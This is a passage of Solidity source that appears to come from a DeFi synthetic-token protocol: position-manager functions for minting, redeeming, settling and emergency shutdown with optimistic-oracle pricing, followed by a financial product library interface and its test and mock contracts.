// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
require(positionData.withdrawalRequestPassTimestamp != 0);
emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
}
/**
* @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`.
* @dev Reverts if minting these tokens would put the position's collateralization ratio below the
* global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of
* `collateralCurrency`.
* @dev This contract must have the Minter role for the `tokenCurrency`.
* @param collateralAmount is the number of collateral tokens to collateralize the position with
* @param numTokens is the number of tokens to mint from the position.
*/
function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
fees()
nonReentrant()
{
PositionData storage positionData = positions[msg.sender];
// Either the new create ratio or the resultant position CR must be above the current GCR.
require(
(_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount),
positionData.tokensOutstanding.add(numTokens)
) || _checkCollateralization(collateralAmount, numTokens)),
"Insufficient collateral"
);
require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
if (positionData.tokensOutstanding.isEqual(0)) {
require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
emit NewSponsor(msg.sender);
}
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
// Add the number of tokens created to the position's outstanding tokens.
positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens);
totalTokensOutstanding = totalTokensOutstanding.add(numTokens);
emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue);
// Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
require(tokenCurrency.mint(msg.sender, numTokens.rawValue));
}
/**
* @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`.
* This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens.
* @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt from the sponsor's debt position.
*/
function repay(FixedPoint.Unsigned memory numTokens)
public
onlyPreExpiration()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding));
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens));
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue);
// Transfer the tokens back from the sponsor and burn them.
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`.
* @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral
* in order to account for precision loss. This contract must be approved to spend at least `numTokens` of
* `tokenCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function redeem(FixedPoint.Unsigned memory numTokens)
public
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(!numTokens.isGreaterThan(positionData.tokensOutstanding));
FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding);
FixedPoint.Unsigned memory collateralRedeemed =
fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral));
// If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize.
if (positionData.tokensOutstanding.isEqual(numTokens)) {
amountWithdrawn = _deleteSponsorPosition(msg.sender);
} else {
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed);
// Decrease the sponsors position tokens size. Ensure it is above the min sponsor size.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Update the totalTokensOutstanding after redemption.
totalTokensOutstanding = totalTokensOutstanding.sub(numTokens);
}
emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue);
// Transfer collateral from contract to caller and burn callers synthetic tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue);
tokenCurrency.burn(numTokens.rawValue);
}
/**
* @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the
* prevailing price defined by the DVM from the `expire` function.
* @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of
* `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for
* precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function settleExpired()
external
onlyPostExpiration()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
// If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called.
require(contractState != ContractState.Open, "Unexpired position");
// Get the current settlement price and store it. If it is not resolved will revert.
if (contractState != ContractState.ExpiredPriceReceived) {
expiryPrice = _getOraclePriceExpiration(expirationTimestamp);
contractState = ContractState.ExpiredPriceReceived;
}
// Get caller's tokens balance and calculate amount of underlying entitled to them.
FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender));
FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice);
// If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt.
PositionData storage positionData = positions[msg.sender];
if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) {
// Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying.
FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice);
FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral);
// If the debt is greater than the remaining collateral, they cannot redeem anything.
FixedPoint.Unsigned memory positionRedeemableCollateral =
tokenDebtValueInCollateral.isLessThan(positionCollateral)
? positionCollateral.sub(tokenDebtValueInCollateral)
: FixedPoint.Unsigned(0);
// Add the number of redeemable tokens for the sponsor to their total redeemable collateral.
totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral);
// Reset the position state as all the value has been removed after settlement.
delete positions[msg.sender];
emit EndedSponsorPosition(msg.sender);
}
// Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized,
// the caller will get as much collateral as the contract can pay out.
FixedPoint.Unsigned memory payout =
FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral);
// Decrement total contract collateral and outstanding debt.
amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout);
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem);
emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue);
// Transfer tokens & collateral and burn the redeemed tokens.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue);
tokenCurrency.burn(tokensToRedeem.rawValue);
}
/****************************************
* GLOBAL STATE FUNCTIONS *
****************************************/
/**
* @notice Locks contract state in expired and requests oracle price.
* @dev this function can only be called once the contract is expired and can't be re-called.
*/
function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() {
contractState = ContractState.ExpiredPriceRequested;
// Final fees do not need to be paid when sending a request to the optimistic oracle.
_requestOraclePriceExpiration(expirationTimestamp);
emit ContractExpired(msg.sender);
}
/**
* @notice Premature contract settlement under emergency circumstances.
* @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`.
* Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal
* to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested`
* which prevents re-entry into this function or the `expire` function. No fees are paid when calling
* `emergencyShutdown` as the governor who would call the function would also receive the fees.
*/
function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() {
require(msg.sender == _getFinancialContractsAdminAddress());
contractState = ContractState.ExpiredPriceRequested;
// Expiratory time now becomes the current time (emergency shutdown time).
// Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp.
uint256 oldExpirationTimestamp = expirationTimestamp;
expirationTimestamp = getCurrentTime();
_requestOraclePriceExpiration(expirationTimestamp);
emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp);
}
/**
* @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they
* reflect the NAV of the contract. However, this functionality doesn't apply to this contract.
* @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable
* only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing.
*/
function remargin() external override onlyPreExpiration() nonReentrant() {
return;
}
/**
* @notice Accessor method for a sponsor's collateral.
* @dev This is necessary because the struct returned by the positions() method shows
* rawCollateral, which isn't a user-readable value.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
* @param sponsor address whose collateral amount is retrieved.
* @return collateralAmount amount of collateral within a sponsors position.
*/
function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Note: do a direct access to avoid the validity check.
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral));
}
/**
* @notice Accessor method for the total collateral stored within the PricelessPositionManager.
* @return totalCollateral amount of all collateral within the Expiring Multi Party Contract.
* @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for
* example if the `lastPaymentTime != currentTime`.
*/
function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
/**
* @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract
* deployment. If no library was provided then no modification to the price is done.
* @param price input price to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformPrice(price, requestTime);
}
/**
* @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified
* at contract deployment. If no library was provided then no modification to the identifier is done.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPrice price with the transformation function applied to it.
* @dev This method should never revert.
*/
function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) {
return _transformPriceIdentifier(requestTime);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire
// position if the entire position is being removed. Does not make any external transfers.
function _reduceSponsorPosition(
address sponsor,
FixedPoint.Unsigned memory tokensToRemove,
FixedPoint.Unsigned memory collateralToRemove,
FixedPoint.Unsigned memory withdrawalAmountToRemove
) internal {
PositionData storage positionData = _getPositionData(sponsor);
// If the entire position is being removed, delete it instead.
if (
tokensToRemove.isEqual(positionData.tokensOutstanding) &&
_getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove)
) {
_deleteSponsorPosition(sponsor);
return;
}
// Decrement the sponsor's collateral and global collateral amounts.
_decrementCollateralBalances(positionData, collateralToRemove);
// Ensure that the sponsor will meet the min position size after the reduction.
FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove);
require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position");
positionData.tokensOutstanding = newTokenCount;
// Decrement the position's withdrawal amount.
positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove);
// Decrement the total outstanding tokens in the overall contract.
totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove);
}
// Deletes a sponsor's position and updates global counters. Does not make any external transfers.
function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) {
PositionData storage positionToLiquidate = _getPositionData(sponsor);
FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral);
// Remove the collateral and outstanding from the overall total position.
FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral;
rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral);
totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding);
// Reset the sponsors position to have zero outstanding and collateral.
delete positions[sponsor];
emit EndedSponsorPosition(sponsor);
// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceExpiration(uint256 requestedTime) internal {
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Increase token allowance to enable the optimistic oracle reward transfer.
FixedPoint.Unsigned memory reward = _computeFinalFees();
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue);
optimisticOracle.requestPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData(),
collateralCurrency,
reward.rawValue // Reward is equal to the final fee
);
// Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee.
_adjustCumulativeFeeMultiplier(reward, _pfc());
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
require(
optimisticOracle.hasPrice(
address(this),
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
)
);
int256 optimisticOraclePrice =
optimisticOracle.settleAndGetPrice(
_transformPriceIdentifier(requestedTime),
requestedTime,
_getAncillaryData()
);
// For now we don't want to deal with negative prices in positions.
if (optimisticOraclePrice < 0) {
optimisticOraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime);
}
// Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePriceLiquidation(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime);
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global =
_getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) {
if (!address(financialProductLibrary).isContract()) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(address(tokenCurrency));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes the decimals read only method.
*/
interface IERC20Standard is IERC20 {
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05`
* (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value
* {ERC20} uses, unless {_setupDecimals} is called.
*
* NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic
* of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../../common/implementation/FixedPoint.sol";
interface ExpiringContractInterface {
function expirationTimestamp() external view returns (uint256);
}
/**
* @title Financial product library contract
* @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom
* Financial product library implementations.
*/
abstract contract FinancialProductLibrary {
using FixedPoint for FixedPoint.Unsigned;
/**
* @notice Transforms a given oracle price using the financial product libraries transformation logic.
* @param oraclePrice input price returned by the DVM to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedOraclePrice input oraclePrice with the transformation function applied.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
virtual
returns (FixedPoint.Unsigned memory)
{
return oraclePrice;
}
/**
* @notice Transforms a given collateral requirement using the financial product libraries transformation logic.
* @param oraclePrice input price returned by DVM used to transform the collateral requirement.
* @param collateralRequirement input collateral requirement to be transformed.
* @return transformedCollateralRequirement input collateral requirement with the transformation function applied.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view virtual returns (FixedPoint.Unsigned memory) {
return collateralRequirement;
}
/**
* @notice Transforms a given price identifier using the financial product libraries transformation logic.
* @param priceIdentifier input price identifier defined for the financial contract.
* @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier.
* @return transformedPriceIdentifier input price identifier with the transformation function applied.
*/
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
virtual
returns (bytes32)
{
return priceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
// Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations.
contract FinancialProductLibraryTest is FinancialProductLibrary {
FixedPoint.Unsigned public priceTransformationScalar;
FixedPoint.Unsigned public collateralRequirementTransformationScalar;
bytes32 public transformedPriceIdentifier;
bool public shouldRevert;
constructor(
FixedPoint.Unsigned memory _priceTransformationScalar,
FixedPoint.Unsigned memory _collateralRequirementTransformationScalar,
bytes32 _transformedPriceIdentifier
) public {
priceTransformationScalar = _priceTransformationScalar;
collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar;
transformedPriceIdentifier = _transformedPriceIdentifier;
}
// Set the mocked methods to revert to test failed library computation.
function setShouldRevert(bool _shouldRevert) public {
shouldRevert = _shouldRevert;
}
// Create a simple price transformation function that scales the input price by the scalar for testing.
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
returns (FixedPoint.Unsigned memory)
{
require(!shouldRevert, "set to always reverts");
return oraclePrice.mul(priceTransformationScalar);
}
// Create a simple collateral requirement transformation that doubles the input collateralRequirement.
function transformCollateralRequirement(
FixedPoint.Unsigned memory price,
FixedPoint.Unsigned memory collateralRequirement
) public view override returns (FixedPoint.Unsigned memory) {
require(!shouldRevert, "set to always reverts");
return collateralRequirement.mul(collateralRequirementTransformationScalar);
}
// Create a simple transformPriceIdentifier function that returns the transformed price identifier.
function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime)
public
view
override
returns (bytes32)
{
require(!shouldRevert, "set to always reverts");
return transformedPriceIdentifier;
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../common/financial-product-libraries/FinancialProductLibrary.sol";
contract ExpiringMultiPartyMock is Testable {
using FixedPoint for FixedPoint.Unsigned;
FinancialProductLibrary public financialProductLibrary;
uint256 public expirationTimestamp;
FixedPoint.Unsigned public collateralRequirement;
bytes32 public priceIdentifier;
constructor(
address _financialProductLibraryAddress,
uint256 _expirationTimestamp,
FixedPoint.Unsigned memory _collateralRequirement,
bytes32 _priceIdentifier,
address _timerAddress
) public Testable(_timerAddress) {
expirationTimestamp = _expirationTimestamp;
collateralRequirement = _collateralRequirement;
financialProductLibrary = FinancialProductLibrary(_financialProductLibraryAddress);
priceIdentifier = _priceIdentifier;
}
function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return price;
try financialProductLibrary.transformPrice(price, requestTime) returns (
FixedPoint.Unsigned memory transformedPrice
) {
return transformedPrice;
} catch {
return price;
}
}
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
returns (FixedPoint.Unsigned memory)
{
if (address(financialProductLibrary) == address(0)) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
function transformPriceIdentifier(uint256 requestTime) public view returns (bytes32) {
if (address(financialProductLibrary) == address(0)) return priceIdentifier;
try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns (
bytes32 transformedIdentifier
) {
return transformedIdentifier;
} catch {
return priceIdentifier;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
// A mock oracle used for testing. Exports the voting & oracle interfaces and events that contain ancillary data.
abstract contract VotingAncillaryInterfaceTesting is OracleAncillaryInterface, VotingAncillaryInterface, Testable {
using FixedPoint for FixedPoint.Unsigned;
// Events, data structures and functions not exported in the base interfaces, used for testing.
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
function rounds(uint256 roundId) public view virtual returns (Round memory);
function getPriceRequestStatuses(VotingAncillaryInterface.PendingRequestAncillary[] memory requests)
public
view
virtual
returns (RequestState[] memory);
function getPendingPriceRequestsArray() external view virtual returns (bytes32[] memory);
}
